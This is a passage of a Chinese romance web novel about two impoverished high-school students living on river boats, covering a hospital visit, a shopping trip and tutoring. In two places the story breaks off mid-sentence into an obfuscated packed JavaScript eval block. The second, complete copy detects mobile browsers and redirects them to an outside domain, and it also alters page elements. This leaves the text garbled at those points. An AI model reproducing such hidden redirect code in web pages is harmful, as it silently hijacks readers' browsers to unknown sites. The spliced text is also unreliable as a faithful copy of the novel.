店员指指边上另一个十寸蛋糕:“这个是木糖醇的,但价钱要贵一些。” 陈列根本没问价格,姜堇怀疑他甚至根本没看柜台里的价签,便叫店员:“装起来。” 付钱的时候,他黑瞳沉沉地把红钞扔到柜台上。 姜堇看出他今晚一定想花这笔钱,便不言语了。 陈列拎着蛋糕盒叫她:“走吧。” 走出蛋糕店的时候陈列想:把钱留下来干嘛呢?等着给他爸吸他的血么? 这钱给姜堇也好,买蛋糕挥霍掉也好,他就是不想留下来。 走进病房的时候,陈列拎着蛋糕盒回头看一眼,姜堇脚步停在病房门口,好似犹豫着到底该不该叫白柳絮在节日看见她的脸受刺激。 陈列没叫她,自己走到病床边。明明是节日,走廊里却很安静,当家人落到这般境地,没多少愿意来探病的人。 陈列问白柳絮:“你还认得我吗?” 白柳絮驴头不对马嘴地说:“你挺帅的。” 姜堇倚在病房门口轻笑了声。 陈列把蛋糕盒打开来,切出一块,坐到床边一点一点喂给白柳絮吃。 问白柳絮:“好吃吗?” 白柳絮摇摇头:“没有饼干好吃。这甜很淡,像假的。” 姜堇倚在病房门口看着这一切,又轻轻地笑。 陈列便是在这时扭头叫她:“过来。” 姜堇一愣,脸上的神情犹豫之后,终是迈着小步朝病床边走了过来。 陈列指指姜堇,跟白柳絮说:“这是我朋友。” 白柳絮狐疑地看了姜堇一眼,有了“陈列朋友”这层身份,她好像终于没把姜堇当成年轻时的她自己了。 她迟疑地跟姜堇说:“你、你好。” 姜堇微微笑:“你好。” 陈列问姜堇:“吃蛋糕么?” 姜堇点点头,陈列便拉了把椅子让她在病床边坐下,切了块蛋糕递她。姜堇微低着透,拿着塑料小叉子吃得很安静。 白柳絮一直在好奇地打量她,突然问陈列:“她是你女朋友么?” 姜堇拿小叉子的手顿了下,抬眼去看陈列。陈列既没承认,也没否认,伸手帮白柳絮掖了下被子。 白柳絮不多时便睡着了。她吃大量的药,为了使情绪平和总显得有些呆滞,需要睡很多的觉。 姜堇跟陈列说:“我今晚在这里陪护。” 陈列点点头,收了吃剩的蛋糕装进纸盒。姜堇和他一起走出病房,他在特护病房外那一排湖蓝的等候椅上坐下,双手插进棉服口袋:“你进去吧,我坐会儿。” 他今晚很累。 姜堇在他面前站了一会儿。霎时间,走廊里明亮的那一排灯齐整地熄灭了。 原来到了熄灯的时候。走廊里仍剩夜灯亮着,但眼睛适应了方才的亮度,只觉得陡然跌入一个黎明或黄昏,时间变得难以辨识,模糊成一片。 姜堇从口袋里掏出手机来看了一眼:“还有一小时零五十七分钟,这一年就要过去了。” 她把手机装回口袋:“陈列,新年快乐。” 陈列静静坐了许久,当姜堇以为他什么都不会回应的时候,他抬起头来看着姜堇:“然后呢?” 那是一双凌厉而冷淡的眼,幽深如墨,像一汪不见底的潭。 姜堇问:“什么然后?” 陈列:“你跟我说新年快乐,然后呢,你想从我这里要什么?” 姜堇静然地瞧他一会儿,忽地瞧一眼他投射在墙面的影子,寸头模模糊糊地映上去,像只毛茸茸的小动物。 姜堇伸手摸了摸陈列的头,指尖轻柔地揉着陈列的短发:“我想从你这里要很多的东西,但不是在我跟你说完新年快乐以后。” 她问陈列:“你没有单纯的快乐过吗?” 陈列嘲讽地勾起嘴角:“你有过吗?” 她点头:“有过。当小时候我妈牵着我从继父家里跑出来,在街道上漫无边际地走,那时她的手很暖,我知道她不会放开我,我很快乐。” 她问陈列:“所以你没有过吗?” 陈列沉黑的双眸盯着她:“嗯。” 两人就这么对视着站了一会儿。姜堇走近一步,抬起手掌打横,挡在陈列眼前。 陈列下意识闭眼,睫毛扫在她温热的掌心。 世界陷入黑暗。周遭静谧一片。 “那就什么都不要看、不要想。”姜堇的声音同样温热:“快乐一秒钟吧,陈列。” 24. 约会 一秒之后,姜堇温热柔软的手掌从陈列眼前退开了。 陈列默然坐了一秒,站起来:“我先走了。” 姜堇退开一步,双手背到身后:“嗯。” 陈列走了两步又退回来,想起要把那没吃完的蛋糕拎走,不然放在医院不好处理。他坐最晚班的公交回到河畔,蛋糕纸盒放到船舱里的矮桌上。 他不爱吃甜,可船舱里没冰箱,放到明天就坏了。 他终是给自己切了块蛋糕,挑起些喂进嘴。 奶油带起一阵甜腻的香气,让他想起刚刚姜堇的手掌打横覆在他眼前、也有这般甜软的香气。 他把软塌塌的纸托盘丢在一旁,一只手臂枕在脑后、躺到在木板上,睁眼望着船舱顶,许久。 - 元旦收假,叶炳崐看一眼陈列脸上的伤:“嚯,列哥你说实话,是不是隐藏在我身边的特工,每到周末和节假日,就去执行什么秘密任务?” 路过一班教室,老师尚在拖堂,在讲台上语重心长地说:“你们知不知道一翻过元旦假期意味着什么,意味着期末考试要到了!” “你们知不知道高三的第一次期末考试意味着什么?意味着高考要到了!” “时不我待啊同学们!全靠你们自觉了!” 十一班的情形则迥然不同,老师只会在讲台上痛心疾首地说:“祖宗,我把重点都给你们画划出来,只求你们在期末考之前给背个大概,行不行?” 满班聊天的、听歌的、打牌输了在脸上贴满卫生纸条的,拖着声调答:“啊——” 老师抓狂:“啊是什么意思?行还是不行?” 周日下午,陈列去了姜堇的船舱。 有个铁片锈得厉害了,一下雨雪就往船舱里渗进雨雪来,陈列来帮她看一看。 姜堇伏在矮桌上写卷子,长发在脑后挽成一个丸子,还是有几缕散落下来,垂在雪白的后颈。陈列看一眼,恨不得找个夹子给她收拢上去。 她写了会儿题,一手握着水性笔,另一手托着腮,看陈列检查木板的拼接处。 陈列头也不回地问:“你不写卷子看我干什么?” “你怎么知道我在看你?”姜堇问。 陈列依然没回头,检查木板的动作却微一滞。 是啊,他怎么知道姜堇在看他? 姜堇又问:“快期末考试了,你不用学习吗?” 陈列沉沉地笑了声:“学习干嘛?” 姜堇不说话了。 陈列检查完,转过头来跟她说:“得去五金店找找有没有合适能换上的。”又顺着刚才的话题问:“你不会还以为我想考大学吧?” 姜堇看着他,他问:“你想考什么大学?” 姜堇:“你感兴趣么?” 陈列:“不感。” 姜堇晃了一下水性笔的笔帽:“那我就不告诉你。” 陈列点一下头:“不管你考什么大学吧,那是你的人生。” “好好去过你的人生。”他说。 姜堇并没有问出一句——“那么你呢?” 陈列心里很清楚答案,他爸这样的情况,他只能一辈子臭虫一样躲在阳光照不到的阴暗处。一旦露头,追债的人立马苍蝇一样黏上来。 不,苍蝇不会要人的命,但那些人会。 陈列说:“我去五金店了。” 姜堇叫住他:“等等。” 仰脸瞧着他眉骨的伤口问:“你知道你伤口发炎了吗?” 陈列不耐烦地皱了下眉:“不用管,过段时间自然好了。” 他又想走,姜堇叫他:“陈列。” 他一只脚还悬在半空想往船舱外踏,姜堇就那样看着他,他只得又把脚收回来。 姜堇站起来,找张抹布擦了擦他刚刚踩过的矮凳,指着凳子叫他:“过来坐下。” 陈列蹙着眉过去坐下。 姜堇蹲身翻了个药箱出来,打开找出几个瓶瓶罐罐对着说明看了看,掏出支医用棉签,跟陈列说:“可能会有一点疼。” 陈列面无表情。 姜堇拿医用棉签给他清理着伤口:“你这样会显得我刚才那句话很多余。” 陈列:“那你重一点试试。” 姜堇:“那我重一点试试。” 话虽这样说,姜堇手里的棉签却始终很轻柔,她的动作似女孩呵出的气息,似羽毛般拂过,不疼,反倒叫人有一点发痒。 她站得那样近,眉心因专注皱起一个小小的花骨朵,陈列的确能闻见她清新的鼻息。 陈列放在膝头的手不自觉攥了下,不耐烦地问她:“好了没啊?” “没。”姜堇小小地瞪他一眼,好似一点不怕他。 慢条斯理做完最后的清理,扯开一张创可贴给他贴上。 陈列不知怎的想起之前方晓给他的那张创可贴,被姜堇撕下来扔了。他问姜堇:“你不是说我这样的人,伤口不用护理,什么创可贴都不适合么?” 姜堇低头收了药箱,蹲下身把药箱塞回矮桌下面去,背对着陈列:“我的适合。” - 陈列去附近城中村的五金店兜了圈,没买到适合的。 他坐公交去了更远也更大了,也没合适的,比划了下长短厚度,勉强选了一款。 回到河畔时天已见黑,他去敲姜堇船舱的门。 姜堇打开门问他:“你是不是踩着饭点来的?” 陈列瞥一眼她刚刚熄灭的瓦斯炉,和端上矮桌的小铝锅:“你晚上吃什么?” “清汤面。”她问陈列:“你要吃么?刚好煮多了。” 陈列说:“可以。” 她就把一锅面分为两碗,递给陈列一双筷子。 那双起毛球的毛线红手套戴在她白皙的手指上,总是分外醒目。船舱内拱起的一方小桌太矮,每每吃饭或写卷子,只能盘腿坐在桌边、躬下身去。 两人吃饭都很快,一句闲话都没有。 吃完姜堇收拾了桌子,又开始写卷子。陈列在一旁丁零当啷修漏雨的地方,棉服脱在一旁,毛衣袖子撸起来,露出遒劲的小臂。 钉完最后一颗钉子,他放下锤子,垂眸看一眼姜堇,觉得她好久没动笔了。 姜堇仰起头来看他,抬手捂住自己的额。 “?”陈列问她:“你干嘛?” 姜堇瞪着他问:“你是不是在看我额头长了一颗痘?” “……”陈列:“你不说我根本没注意到。” 姜堇把手放下去。陈列又看一眼她的卷子,发现她是对着一道物理题发愁。 陈列在一旁站着看了会儿,低声报出一个答案来。 姜堇抬头:“你怎么知道?” 陈列手里拎着锤子,正把撸起的毛衣袖子往下放:“猜的。”又没什么语调起伏地同姜堇说:“走了。” 他离开后,姜堇用他给出的答案反向推算了下,发现竟是对的。 周一上学,杜珉珉一副十万火急的样子:“快!姜堇仙女,物理卷子借我看下。” 姜堇从书包里掏出卷子递她。 昨晚难住姜堇的那道题,杜珉珉也空着。正要把答案往上抄,前桌回过头来看了眼:“劝你别抄,这道题全班没人做出来,除了姜堇。” “啊这样啊。”杜珉珉放下笔:“那我不抄了,不然显得太假了。” 又问姜堇:“你怎么能做出来?” 前桌打趣:“要不人家怎么是年级第一呢?” 晚上下了晚自习,姜堇去敲陈列的船舱门。 陈列一开门,被她把一张物理卷子怼到面前,指着一道题问:“这题你能解么?” 陈列往后退了小半步:“不能。” “那昨晚的题你怎么解出来的?” “跟你说了。”陈列很平淡的语气:“蒙的。” 姜堇看他一眼,一言不发地捏着卷子走了。 - 陈列本以为姜堇会在这件事上继续缠问。 但姜堇没有,只是一个周末下午,陈列去小超市买了烟,拿了烟盒到超市门前的垃圾桶里拆了包装,正把一支烟塞进嘴里点燃的时候。 姜堇背着书包走了出来。 陈列看一眼薄暮的天色,是到姜堇下班的时间了。 女孩走过陈列身边的时候,带起一阵清润的香气。 大概走出数米远了,她回头,望着陈列:“我想去给我妈买个过年礼物,你一起去吗?” 陈列微怔了下,也许因为姜堇的语气太平淡而自然了。 陈列点点头:“行。” 话一出口才反应过来,他什么时候是逛过街的人? 他站在垃圾桶边迎着夕阳、微眯着眼抽一根烟。姜堇也不催促,就站在离他几米远的地方,微低着头,绕着脚底水泥地上裂开的一道缝隙来回走。 直到陈列抽完了烟,走到姜堇身边,才听到她嘴里嘀嘀咕咕在背英语。 陈列:“走吧。” 姜堇点点头,伸手拽一拽肩上的书包肩带。 两人走得并不近。 隔着一人多的距离,路上遇到捡垃圾的老婆婆,可以轻易从两人之间穿过。站在公交站等车的时候,两人也是分列站牌的两端。 这时,一对年轻男女走了过来,瞧着也是中学生模样。 陈列本来没留神,架不住有个骑摩托的年轻男生路过,看起来与两人相熟,吹一声口哨嬉笑着说:“学校里见面还不够,周末还要约会去啊?” “滚滚滚。”女生气急败坏捡起路边一颗小石子,便要砸他。 男生嘿嘿笑着骑摩托走了。 陈列看一眼女生略微涨红的双颊,羽绒服下罩一身长裙,足蹬一双不知什么皮料的小靴子,明显是精心打扮过。被人这样玩笑一番后,她和那同来的男生互相看也不看对方了,各自望着天边的云霞。 陈列心里后知后觉般浮出个想法: 这样一起出去的行为,落在其他人眼里,是……约会吗? 他瞥姜堇一眼。 发现姜堇的视线停在他随意垂落的手指上。他刚抽过烟,指尖淡淡的烟草味。 发现他视线,姜堇抬眸朝他看过来。 小鹿般的双眸在夕阳下是半通透的澄澈。她视线平静极了,一如刚刚问陈列要不要一起去逛街时。 陈列收回视线,觉得自己想多了。 公交开过来,两人前后脚上车。方才那对被调侃过的“小情侣”在唯一并排的两个座位坐下,姜堇坐在他们后排仅剩的一个空位,掏出英语书来。 陈列一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈列默然地看她一会儿,走到她身边。 她鲜少露出那般不确定的语气,举着手里的两个发夹问陈列:“你觉得哪个更适合我妈妈?” 她唤“妈妈”的语气那样轻,落进陈列心脏被生活磨出的缝隙沟壑里,是他此生从未唤出过的语气。 陈列问:“你为什么现在来买?” “嗯?”姜堇微怔了一下。 “离过年不是还早吗。” “因为……之后要期末考试了啊,只会更忙。”姜堇回答这话的时候,感到陈列从她手里拿走了两个发夹,带着那么点男生惯常的、对女生逛街纠结时的不耐烦的表情。 陈列把两个发夹递给摊主:“都要了,多少钱?” 摊主还没搞定她的“大客户”呢,没想到这边一单就成了,赶忙拿一个小碎花的袋子来装发夹:“两个六十五,少你六块收五十九好了呀,长长久久……” “陈列?”正当这时,一道年轻的女声,温婉入耳。 姜堇比陈列先向那边望过去。 陈列的目光垂沉在小摊那一排亮闪闪的发夹上,顿了一秒,才抬起头来。 “真是你啊。”那女生梳低马尾,垂在肩头,带些开心笑意朝陈列走过来。 陈列点点头。 “你转学到江城了?”女生问。 “嗯。” “今年的物理竞赛准备参加么?王老师说没了你,今年少了员干将,我们学校再想拿第一名就难了。” 陈列开口:“你怎么在江城?” 他语气素来就硬,也听不出他是不是在生硬地转移话题。 女生:“喔,机器人大赛不也是最近么?我表姐结婚,我跟着爸妈过来江城,说是这里能买到一些金属线之类的材料,我来逛逛。” 陈列点一下头,转回头去对着卖发夹的小摊。 女生叫他一句:“陈列……” 欲言又止的语气,但看陈列淡漠的神色,终究是没说了。又打量一眼旁边的姜堇,陈列盯着小摊上闪闪亮的那一排发夹,并没有开口介绍的意思。 女生:“那我先走了。” 陈列犹是盯着那排发夹,点一下头。 女生走开后,摊主晃一晃手里拎着的碎花小袋:“诶,钱还没付呢。” 陈列从口袋里掏出现钞来,他打拳赢来的钱都是现钞,此时按捺住心中某种不耐似的,抽出一张红钞递给摊主,想到还要找钱,扭头问姜堇:“你呢?你想要什么?” 姜堇摇一摇头,接过摊主递来的碎花小袋。 摊主又把找零递给陈列,陈列看一眼姜堇,很随意地塞进口袋。 姜堇已往前走去了。 穿着洗到褪色的羽绒服,扎马尾,一脸很干净的学生气,映衬在一爿爿摩肩继踵的小摊牵出的灯光下。陈列第一次觉得,原来这些粗糙到连灯罩的灯泡接连起来,也似一条银河。 姜堇的表情很淡。从刚刚跟陈列打招呼的女生冒出来开始,姜堇的表情就很淡。 巧的是,刚刚在公交车站偶遇的那对“小情侣”,这时在人群中冒了出来。 女生拿着一串冰糖葫芦,男生在问:“好吃吗?” 女生点头。 “那下次给你买草莓的,草莓的也好吃。” 陈列也不知自己怎么想的,开口问姜堇:“你吃冰糖葫芦吗?” 他只是觉得现在的氛围怪,太怪了。姜堇就那样微抿着一点唇角,始终不说话。 姜堇的眼神投过来,瞥了他一眼。 “不吃。”姜堇说。 25. 过去 两人就这样一路沉默地回了船舱。 今天陈列要洗头。先是烧水,用一把前任住客留下的铝制烧水壶,不知用了多少年,壶底都快烧穿的程度。 南方的冬天固然不是呵气成冰,但河畔湿冷的空气裹住人。他拿一只绿色的塑料盆蹲着洗头,一瓢热水顺着后颈浇下去,毛孔中的寒意反而舒张开,冷得人浑身一激灵。 陈列扯过一张毛巾,胡乱揉了揉便算数,枕着一条手臂躺在木板上。 心头闷闷的感觉,大抵因为两人之间的奇怪氛围。 可又为什么这么怪? - 姜堇背着书包到学校时,杜珉珉赶紧冲他招手:“姜堇,快来快来。” “这次期末考试老师划的范围也太难了吧,我问你哦……”杜珉珉翻开习题册。 姜堇放下书包,凑过去看一眼。 细长的手指握起水性笔,列出个式子:“这道题是这样……” 杜珉珉听得眉头都蹙起来,姜堇讲完后她滞两秒,才呼出一口气来靠住椅背:“我好像听懂了,又好像没听懂。” 姜堇笑。 “你就好了。”杜珉珉一脸苦恼地看着姜堇:“不用说,今年期末考试你肯定又是第一。我都不求前十,要是能进前二十,我爸妈就带我去马尔代夫。” 下晚自习,姜堇背着书包跑回河畔。 船舱边的泥泞地里,立着个高挑身影。其实陈列站着的时候会习惯性微勾着一点后颈,一手插在口袋里,沉默抽着一根烟。 周围很暗,唯独一点猩红的烟头明明灭灭。 至此,两人已两三天没说过话了。 见姜堇过来,陈列抬手掐灭了烟。姜堇背着书包一脸平静地路过他身边,没叫他,自己上了甲板换拖鞋,不过钻进舱门的时候,毕竟也没锁门。 陈列跟进去。 姜堇仍是没理他,放下书包带上红毛线手套,伏在矮桌边开始写一张物理卷子。陈列站在一旁,先是伸手摸了把船舱顶上次换过的铁皮,好歹没再漏雨了。 他又沉默站到姜堇身边,还是那般单手插进口袋的姿势,瞥一眼姜堇正做的物理卷子。 姜堇已卡在那许久了。 他默默看了会儿,开口说:“选B。” 姜堇仍是没抬头,也没理他。 他在姜堇身边盘腿坐下,拉开姜堇笔袋拿出支水性笔,抽张草稿纸开始写计算过程。那好像是姜堇第一次看他的字,遒劲有力,笔锋很烈。 看一眼,让人想起他锋锐的眉眼。 写完后水性笔习惯性用力一点,落下一个蓝色墨点,力透纸背。 姜堇垂着眼眸凝视那墨点。细细的水性笔被陈列捏在手里,拇指压着防摩的那一圈橡皮。 至此,陈列终于明白姜堇在生气。 而他惊异地发现,他其实知道姜堇为什么生气。 奇怪的氛围在船舱里兜了个圈,终于被他最后落笔的那个小墨点扎得泄了气似的。姜堇开口问:“陈列,你过去是个什么样的人?” 陈列丢开水性笔,靠住身后的木板。 姜堇回眸看他一眼,他蜷起食指敲一下自己膝盖,那样的坐姿随意中带一丝丝无所谓的痞气。 陈列问:“这重要么?” 姜堇看着他,过了会儿,自己开口:“物理很好的,擅于编程的,能参加竞赛的。” 陈列嘴角往上挑了挑,略带些嘲讽的笑意。 姜堇:“可你现在转来一中,进的是文科班。” “成绩垫底的十一班,刚好就是文科班。帮我办转学的人能把我塞进来就不错了,我还挑什么文理。”陈列道:“难道我还想考大学不成?” 姜堇不说话了,默默转回去对着物理卷子。 她说:“其实我文科比较好,学起物理真是要死要活。” 陈列瞥一眼她垂在肩头的马尾:“那你选理科?” 姜堇笑了。陈列看不见她的笑,只看她窄的肩轻轻抖动下。姜堇说:“因为我想学珠宝鉴定与设计啊,去英国的伯明翰城市大学。” 她轻晃着手里的笔杆:“你知不知道变有钱最直接的办法是什么?是跟最有价值的东西打交道。” 陈列不知为何那时自己的反应,是下意识微蹙了下眉。 那是姜堇第一次明确提及自己的未来。 去英国留学谈何容易?钱从哪里来? 那时姜堇不过是一个住在破船上的孤女,说这话的时候戴一双早已起球的红毛线手套。但陈列就是觉得,只要是姜堇的目标,姜堇无论如何都会做到。 陈列这样一个不愿与人产生牵绊的人,知道两人的未来注定南辕北辙的一瞬,心里松了一口气的同时,却下意识蹙了蹙眉。 姜堇说着话伏倒在自己的手臂里,再传来的声音就有点嗡声嗡气:“学得额头上都冒痘了。” 陈列又有点好笑:“这么拼干嘛?” “要当第一。” “不当第一又怎么了?” “因为,”姜堇把头埋在手臂里说:“没有人会记住第二。” 陈列坐起来,轻扯一下姜堇的马尾。 “干嘛?”姜堇抬起头来。 回头看着陈列,忽然发现他的眸子因瞳仁过分漆黑,在幽暗昏黄的船舱里看起来泛着光。让人想起方才他站在船舱边,唇边衔着明明灭灭的猩红烟头。 陈列还是带一点不耐烦的神情,捏起另一只笔,笔帽点一下她那张高难度的物理卷子:“还有哪题不会?” 很久以后,那时姜堇已改名作“姜雪照”,也是这样的寒冬,她穿一件流光溢彩的碎钻露肩礼服披白狐毫,站在一艘飘荡在国际公海的游轮上。 身后船舱内是衣香鬓影和觥筹交错,更对比出眼前黑海的渺茫无际。 姜堇微微眯眼。 唯独很远很远、肉眼几不可及的距离之外,亮着一盏绿光。 也许是灯塔,也许是浮标,总之为夜晚的航船指明着方向。姜堇已很久、很久没想起过陈列了,不知为何看到绿光的刹那,她想起那个臭水河畔的寒冬,陈列过分明亮的一双黑眸,和唇边明明灭灭的猩红烟头。 有那么一霎,她想微抬起细瘦的手腕、对着那遥远的绿光伸出手去。 “在看什么?”这时,她的未婚夫、滕家的二少爷走到她身后,一手很随意搭上她的肩。 “没什么。”姜堇笑一笑,手腕无声地垂落下去。 - 后来陈列想来,一生中最温馨的日子,好像便是那时在姜堇船上度过的。 他会去船舱里给姜堇讲卷子。 姜堇会泡SwissMiss的巧克力粉,泡完以后她也没再买,开始泡红糖水。再后来红糖也没了,她就烧热热的白开水。 她买了两只便宜的玻璃杯,一人捧一只在掌心暖手,喝一口下去,也暖着自己的胃。 有天姜堇讲了个笑话,讲完后看着陈列。 陈列问:“怎么?” “陈列。”姜堇说:“原来你这人会笑啊。” 这天下了晚自习,陈列回自己船舱收拾了下,算着时间过去姜堇那边。 姜堇的船舱里漆黑一片。 他蜷指叩在生锈的舱门上。 无人应,他本来走开了,想一想又倒回来,继续敲,嘴里低低地叫一声:“姜堇?” 仍是无人应。陈列皱一皱眉,犹豫着要不要想办法把这门给弄开时,舱门吱呀一声开了。 姜堇只留给他一个背影。 陈列跟进去,船舱里没开灯,有种一整天没透气的密闭气味。姜堇缩回那张窄窄的木板上,那时他们的被子都是棉花被,很重很厚,沉甸甸地压着姜堇,她的脸几乎掩在被子里,只露出额头和凌乱的发。 陈列问:“你生病了?” “没有。”姜堇说。 陈列走过去,触了触姜堇的额,一手黏腻的汗,却是冷的。 “走。”陈列说话向来简练:“去医院。” 姜堇直接说:“我是痛经。” 陈列微一怔。 他的母亲早逝,生命中的女性角色缺位,对这一类的事情无比陌生。好在姜堇很直接:“能帮我烧点热水么?有只红色的热水袋,帮我灌满。” “行。”陈列打开灯,又拧开瓦斯炉。 热水袋也是最老式的那种,这里的一切都像被放逐在时光之外。芭蕉形状排布着一道道纵纹,有种强烈的橡胶气味,灌满了热水后仍是软塌塌的。 “给。” 陈列把热水袋递过去时,姜堇仍缩在被子里皱着眉,脸色苍白如纸,看上去连伸手的力气都没有。 陈列是个被生活磨到粗砺的人,没那么矫情,直接把她被子掀开一条缝、热水袋塞进去。 做出这动作后他才觉得不妥。 固然他很注意,绝不会碰到姜堇的身体。可姜堇躺了整天的暖融气息向他扑来,甚至带女孩身上微微的汗味和一阵香。 还有姜堇的睡衣,棉质的、起球的,不知洗了多少次、像少女皮肤一样柔软的,让人想到那样薄薄一层之后,便是少女蜷缩起来的、曲线姣好的身体。 姜堇缩着,长发凌乱地散落,露出后颈上小小的、浅棕的一颗痣。 陈列一瞬脖子根都紧了,把热水袋往姜堇怀里一塞,手便匆匆抽了出去。 姜堇阖着眼,抱住热水袋,棉被里单薄的身躯看上去蜷得更紧了点。 陈列至此终于想起从小听来的一点知识:“你要喝红糖水么?” 红糖用完了,但他可以去买。 “没用。”姜堇言简意赅地说。 陈列:“哦。那……” “有热水袋就行了。”姜堇:“今天学不动了,你先回去吧。” 陈列沉默地点一下头,又想起姜堇看不到,开口出声:“嗯。” 他抬手摸了下自己后脑,转身走出船舱。 他忘了关灯。这时姜堇才睁开眼来,缩在被子里,望着他背影。 - 第二天去上学,陈列没在一班走廊边看见姜堇。 他不知道姜堇来学校没。上课铃打响,他在课桌抽屉里握着手机,又觉得搜索“女生痛经一般会难受几天”这种问题有些奇怪,丢开手机,把棉服的兜帽往头上一罩、趴下睡觉。 直到第一节课间,他在走廊里远远地看见姜堇。 脸色有些苍白,不知是身体没完全舒服,抑或只是被冬天不甚明朗的阳光照的。 两人的眼神触一瞬,好像只是撞在姜堇柔软的长睫上,便各自移开了。 上课前叶炳崐趁老师没来,明目张胆握着手机接电话,语气分外不耐烦: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467219|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “知道了知道了,啰嗦。” 挂了电话跟陈列吐槽:“来大姨妈多大点事啊?我妈非让我买包红糖给我妹带回去。” 陈列顺口说:“红糖不是没用么?” 叶炳崐呆了:“卧槽你怎么知道?” 陈列挑了一下眉。 “管它有用没用的。”叶炳崐揉一下鼻子:“就我妹那样的,仗着我妈宠她呗。” 陈列下晚自习去姜堇的船舱时,姜堇正洗衣服。 见陈列过来,她把盆子塞到矮凳下去。陈列反应过来,她是在洗被经血弄脏的衣裤。 那水摆明了是冷水,刺骨的,让姜堇的指节有一些发红。 船上烧热水实在太不方便了,还有安全隐患。除了洗头洗澡,他们都很少烧水。 姜堇藏好了盆子倒是面色平静:“我有道题想问你。” 讲完题陈列离开前,看一眼姜堇。 姜堇仍是握着笔对着卷子,抬头瞧一瞧他:“怎么?” 陈列摇一下头,转身离去。 第二天周日,下午放假,陈列去小超市买烟。 姜堇在那里上班,仍是做卷子,毕竟还有一周便要期末考。陈列扫码付款时,瞥一眼角落垒放着的烟花。 真是快过年了,超市开始进这些货了。 姜堇觉察到他视线,顺着问了句:“你过年还能回家么?” 陈列缄默着不回答。 这话题便被揭了过去。姜堇转而问:“待会儿去医院看我妈么?我想把发夹送她,过年她就可以戴了。” “行。” 陈列站在垃圾桶边抽烟等姜堇。等姜堇背着书包出来,两人一起登上去医院的公交。 置办年货的日子,公交车上的人明显比平日多些。人人大包小包拎着年货,点心吃食,大瓶家庭装的可乐雪碧,不入流过分艳红的“福”字与假梅花。 唯独姜堇手里拎个小小的碎花塑料袋,只装着两只发夹。 到医院,白柳絮已从特护病房转出来了,这一次,姜堇咬牙给她安排了三人间里靠窗的床位,她扭头望着窗外的枯枝,目光呆滞。 姜堇走到床尾,站在那里。 上次白柳絮狠扇她那一巴掌她还记忆犹新。 陈列走到她身边,拿过她手里的袋子,走到白柳絮身边,掏出两只发夹问:“你想用哪一个?” 白柳絮看一看陈列,又看一看姜堇,指指深色格纹的那个。 她常年倚靠在病床上,头发总是蓬乱。陈列看一眼床头柜上的那柄梳子,拿在手里。 他骨节宽大,短短一柄梳子被他握着不过与手掌齐宽,这让他替白柳絮梳头的动作显得有些笨拙。陈列没想到自己会主动做这样的事,他亡母的照片被他放在贴身T恤的口袋里,烫着他的心脏。 白柳絮任他梳着头,显得舒服而无聊,望着窗外嘴里轻轻哼唱:“好一朵美丽的茉莉花,好一朵美丽的茉莉花……” 姜堇在圣诞晚会上弹过的那首钢琴曲,此时由她浅吟低唱里。 姜堇隔着段距离,垂手站在床尾,鹿一般的浅棕色双瞳里有少许的无措,想靠近,又不敢。 陈列忽然想:在姜堇小时候,她继父殴打白柳絮、白柳絮带着她逃出来、牵着她手在街道上漫无目的地走时,也会这样轻轻哼唱着《茉莉花》么? 那时灯光暖黄,白柳絮的手很柔软。 姜堇也许以为她会由母亲这样牵着,永远都不放。 陈列把发夹替白柳絮戴上。 那一瞬姜堇有些紧张,她想起忘了交代陈列,别对白柳絮说漂亮什么的,白柳絮对这词应激。 不过陈列什么都没说,一张脸仍是平淡,像他素来的那样。 姜堇反倒松一口气。 却是这时,白柳絮拿起被子上另一只发夹,仰头问陈列:“这个给你女朋友戴吧?” 陈列愣了下。 白柳絮这样的情况,情绪起得极快,在陈列愣神的瞬间,她几乎已歇斯底里起来,把发夹塞到陈列手里:“给她戴上!” 又指着姜堇,尖锐的声音几乎有些破音:“你!过来坐下!” 姜堇顺从地过来,坐到床畔,占据很小的一块地方。 背对着陈列说:“戴吧。” 陈列把那柄小小的木梳在掌心握了握,梳齿硌着他掌纹,接着,梳子轻轻落到了姜堇头上。 年轻女孩有一头缎子似的乌发,梳齿插进去,溢开一阵茉莉般的香气。陈列另一手轻轻理了理她的头发,因没有经验,这动作由他做来近乎笨拙。 陈列站在姜堇身后,盯着她雪白的发缝。姜堇垂眸静静坐着,感受到陈列的呼吸。 发夹夹上去的时候,弹簧卡键发出轻轻“咔”的一声。 姜堇后颈上一枚小小的浅棕的痣露出来,便是陈列去塞热水袋时、看见的那枚。 这时白柳絮在病床上问:“喂,你女朋友漂不漂亮?” 姜堇垂着纤长的睫。白柳絮好似只有把她当成陈列的女朋友、而不当成年轻时的自己时,才能把“漂亮”一词,心安理得搁在她身上。 姜堇和陈列同时沉默,白柳絮拍着被子又开始发急:“喂,她漂不漂亮?” 正当姜堇要开口化解这一局面时。 “嗯。”陈列的声音自她身后低低地传来:“漂亮。” 26. 游戏 陈列从医院出来后,说不上心里那股无处排遣的情绪是怎么回事。 这股情绪堵在心口,一直到他躺在木板准备睡觉时还未消散。 闭上眼,一会儿是姜堇后颈那颗浅棕的小痣。 一会儿是白柳絮望着窗外、轻轻吟唱着那首《茉莉花》。 终于他放弃似的从床上坐起来,一抚自己那刺猬似的毛茸茸的寸头。 陈列做了件无限冒险的事。 他买了第二天最早一班回家乡的高铁票。 第二天下早自习,姜堇由杜珉珉挽着手臂往食堂走。 叶炳崐从来就是个大嗓门,在十一班走廊里放声喊:“我列哥还是我列哥,牛掰!说不来就不来,连假都不带请的。” 姜堇往十一班教室里看一眼。 陈列的座位永远是最后一排多出的那一个。课桌上干干净净的,连课本都没有,唯独它的前任主人拿圆规随手刻的涂鸦。 姜堇忽然想:如果陈列再也不回来的话,那么简直像他这个人从来没出现过一样。 陈列抵达家乡时已是傍晚。 家乡靠山,常年罩着一层雾,让人想起臭水河畔黄昏时茫茫而生的雾气。 陈列没打车,坐公交往家的方向去。 